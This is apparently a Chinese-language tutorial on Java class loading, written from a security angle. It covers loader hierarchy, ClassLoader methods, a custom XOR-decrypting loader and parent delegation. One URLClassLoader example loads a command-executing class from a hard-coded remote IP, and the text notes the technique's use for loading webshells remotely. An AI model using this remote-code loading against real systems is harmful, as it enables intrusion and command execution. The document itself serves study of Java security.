Java类加载
1、类加载与反序列化
类加载的时候会执行代码
初始化:静态代码块
实例化:构造代码块、无参构造函数
2、动态类加载方法
Class.forname初始化/不初始化
ClassLoader.loadClass不进行初始化底层的原理,实现加载任意的类
ClassLoader->SecureClassLoader->URLClassLoader->AppClassLoader
loadClass->findClass(重写的方法)->defineClass(从字节码加载类)
URLClassLoader任意类加载: file/http/jar
前言
classloader顾名思义,即是类加载。虚拟机把描述类的数据==从class字节码文件加载到内存==,并对数据进行检验、转换解析和初始化,最终形成可以被虚拟机直接使用的Java类型,这就是虚拟机的类加载机制。
类从被加载到虚拟机内存到被卸载,整个完整的生命周期包括:类加载、验证、准备、解析、初始化、使用和卸载七个阶段。其中验证,准备,解析三个部分统称为连接。
虽然classloader的加载过程有复杂的5步,但事实上除了加载之外的四步,其它都是由JVM虚拟机控制的,我们除了适应它的规范进行开发外,能够干预的空间并不多。而加载则是我们控制classloader实现特殊目的最重要的手段了。
类加载器介绍
类加载器大致分为两类:
- JVM 默认类加载器
- 用户自定义类加载器
类加载器分类
除了 BootstrapClassLoader
是 JVM 自身的一部分之外,其他所有的类加载器都是在 JVM 外部实现的,并且全都继承自 ClassLoader
抽象类。这样做的好处是用户可以自定义类加载器,以便让应用程序自己决定如何去获取所需的类。
JVM 中内置了三个重要的 ClassLoader
:
- 引导类加载器(BootstrapClassLoader):最顶层的加载类,由 C++实现,属于jvm一部分,不继承java.lang.ClassLoader类,也没有父加载器,主要负责加载核心java库(即JVM本身),存储在/jre/lib/rt.jar目录当中、
- 扩展类加载器(ExtensionsClassLoader):sun.misc.Launcher$ExtClassLoader类实现,用来在/jre/lib/ext或者java.ext.dirs中指明的目录加载java的扩展库,主要负责加载
%JRE_HOME%/lib/ext
目录下的 jar 包和类以及被java.ext.dirs
系统变量所指定的路径下的所有类。 - ==应用程序类加载器(AppClassLoader)==:面向我们用户的加载器,负责加载当前应用 classpath 下的所有 jar 包和类。由sun.misc.Launcher$AppClassLoader实现,一般通过通过(java.class.path或者Classpath环境变量)来加载Java类,也就是我们常说的classpath路径。通常我们是使用这个加载类来加载Java应用类,可以使用ClassLoader.getSystemClassLoader()来获取它
除了这三种类加载器之外,用户还可以加入自定义的类加载器来进行拓展,以满足自己的特殊需求。就比如说,我们可以对 Java 类的字节码( .class
文件)进行加密,加载时再利用自定义的类加载器对其解密。
- 自定义类加载器(UserDefineClassLoader):这个就是由用户自定义的类加载器
rt.jar
:rt 代表“RunTime”,rt.jar
是 Java 基础类库,包含 Java doc 里面看到的所有的类的类文件。也就是说,我们常用内置库java.xxx.*
都在里面,比如java.util.*
、java.io.*
、java.nio.*
、java.lang.*
、java.sql.*
、java.math.*
。Java 9 引入了模块系统,并且略微更改了上述的类加载器。扩展类加载器被改名为平台类加载器(platform class loader)。Java SE 中除了少数几个关键模块,比如说
java.base
是由启动类加载器加载之外,其他的模块均由平台类加载器所加载。
类加载器加载规则
JVM 启动的时候,并不会一次性加载所有的类,而是根据需要去动态加载。也就是说,大部分类在具体用到的时候才会去加载,这样对内存更加友好。
对于已经加载的类会被放在 ClassLoader
中。在类加载的时候,系统会首先判断当前类是否被加载过。已经被加载的类会直接返回,否则才会尝试加载。也就是说,对于一个类加载器来说,相同二进制名称的类只会被加载一次。
ClassLoader类核心方法
==除了引导类加载器BootstrapClassLoader,其他类加载器都是继承了CLassLoader类 ClassLoader类是一个抽象==类,主要的功能是通过指定的类的名称,找到对应的字节码,返回一java.lang.Class类的实例。
loadClass
加载指定的java类
加载名称为name的类,返回的结果是java.lang.Class类的实例
可以看loadClass的源码
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// First, check if the class has already been loaded
Class<?> c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// ClassNotFoundException thrown if class not found
// from the non-null parent class loader
}
if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);
// this is the defining class loader; record the stats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}
先进行findLoadedClass进行判断是否加载过这个类,如果已经加载过的话,就直接返回;如果没加载过,则使用加载器的父类的加载器去加载。当没有父类的时候,则会调用自身的findClass方法,因此可以重写findClass方法完成一些类加载的特殊要求
findCLass
查找指定的Java类
protected Class<?> findClass(String name) throws ClassNotFoundException {
throw new ClassNotFoundException(name);
}
findLoadedClass
查找JVM已经加载过的类
protected final Class<?> findLoadedClass(String name) {
if (!checkName(name))
return null;
return findLoadedClass0(name);
}
defineClass
定义一个Java类,将字节码解析成虚拟机识别的Class对象。往往和findClass()方法配合使用
protected final Class<?> defineClass(byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(null, b, off, len, null);
}
resolveClass:链接指定Java类
protected final void resolveClass(Class<?> c) {
resolveClass0(c);
}
private native void resolveClass0(Class c);
自定义的类加载器
那么我们如果要自定义类加载器,那么就要进行如下步骤:
- 继承ClassLoader类
- 重载fandClass方法
- 利用defineClass方法将字节码转换成java.lang.class类对象
public class messageTest {
public static void main(String[] args){
System.out.println("This is the secret!");
}
}
对class文件加密的类 encodeTest
import java.io.*;
public class encodeTest {
public static void main(String[] args) throws IOException {
encode(
new File("../out/production/Classloader/messageTest.class"),
new File("../out/production/Classloader/test/messageTest.class")
);
}
public static void encode(File src, File out) throws IOException {
FileInputStream fin;
FileOutputStream fout;
fin = new FileInputStream(src);
fout = new FileOutputStream(out);
int temp = -1;
while ((temp = fin.read()) != -1) {// 读取一个字节
fout.write(temp ^ 0xff);// 取反输出
}
fin.close();
fout.close();
}
}
再写解密类,重写findclass方法
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
public class decodeTest extends ClassLoader{
private String rootDir;
public decodeTest(String rootDir) {
this.rootDir = rootDir;
}
// 解密文件
public byte[] getClassData(String className) throws IOException {
String path = rootDir + "/" + className.replace('.', '/') + ".class";
// 将流中的数据转换为字节数组
InputStream is = null;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
is = new FileInputStream(path);
byte[] buffer = new byte[1024];
int temp = -1;
while ((temp = is.read()) != -1) {
baos.write(temp ^ 0xff);
}
return baos.toByteArray();
}
@Override // 重写覆盖findClass
protected Class<?> findClass(String className) throws ClassNotFoundException {
Class<?> c = findLoadedClass(className);
if (c != null) {
return c;
} else {
ClassLoader parent = this.getParent();
c = parent.loadClass(className);
if (c != null) {
System.out.println("父类成功加载");
return c;
} else {// 读取文件 转化成字节数组
byte[] classData = new byte[0];
try {
classData = getClassData(className);
} catch (IOException e) {
e.printStackTrace();
}
if (classData == null) {
throw new ClassNotFoundException();
} else { // 调用defineClass()方法
c = defineClass(className, classData, 0, classData.length);
return c;
}
}
}
}
}
再写测试类
public class loadClassTest {
public static void main(String[] args) throws ClassNotFoundException {
decodeTest de = new decodeTest("/Users/liucheng/Desktop/JavaSec/out/production/Classloader/test/");
Class<?> a = de.loadClass("messageTest");
System.out.println(a);
}
}
由于我指定的class文件是加密后的class文件,所以java自带的类加载器就加载不了,这里我们成功用自定义的类加载器去解密加载到了messageTest
URLClassLoader
URLClassLoader是ClassLoader的一个实现,拥有远程服务器上加载类的能力,通过这个URLClassLoader可以实现对一些webshell的远程加载
这里举个例子 我在Tomcat服务器处生成一个执行系统命令的class
public class Test {
public static void main(String[] args){
try{
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
catch(Exception e) {
e.printStackTrace();
}
}
}
然后在项目里远程加载这个类
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class URLClassLoaderTest {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
URL url = new URL("http://101.35.98.118:12424/javatest/");
URLClassLoader cl = new URLClassLoader(new URL[]{url});
Class c = cl.loadClass("Test");
c.newInstance();
}
}
双亲委派
通常情况下,我们就可以使用JVM默认三种类加载器进行相互配合使用,且是按需加载方式,就是我们需要使用该类的时候,才会将生成的class文件加载到内存当中生成class对象进行使用,且加载过程使用的是双亲委派模式,及把需要加载的类交由父加载器进行处理。
概念有点绕,我们可以先看类加载器委派关系
如上图类加载器层次关系,我们可以将其称为类加载器的双亲委派模型。但注意的是,他们之间并不是"继承"体系,而是委派体系。当上述特定的类加载器接到加载类的请求时,首先会先将任务委托给父类加载器,接着请求父类加载这个类,当父类加载器无法加载时(其目录搜素范围没有找到所需要的类时),子类加载器才会进行加载使用。这样可以避免有些类被重复加载。
双亲委派好处
1、这样就是能够实现有些类避免重复加载使用,直接先给父加载器加载,不用子加载器再次重复加载。
2、保证java核心库的类型安全。比如网络上传输了一个java.lang.Object类,通过双亲模式传递到启动类当中,然后发现其Object类早已被加载过,所以就不会加载这个网络传输过来的java.lang.Object类,保证我们的java核心API库不被篡改,出现类似用户自定义java.lang.Object类的情况。
假设我们创建一个java.lang包,自定义一个TestObject类,但由于双亲委派机制的存在,是不允许加载运行的。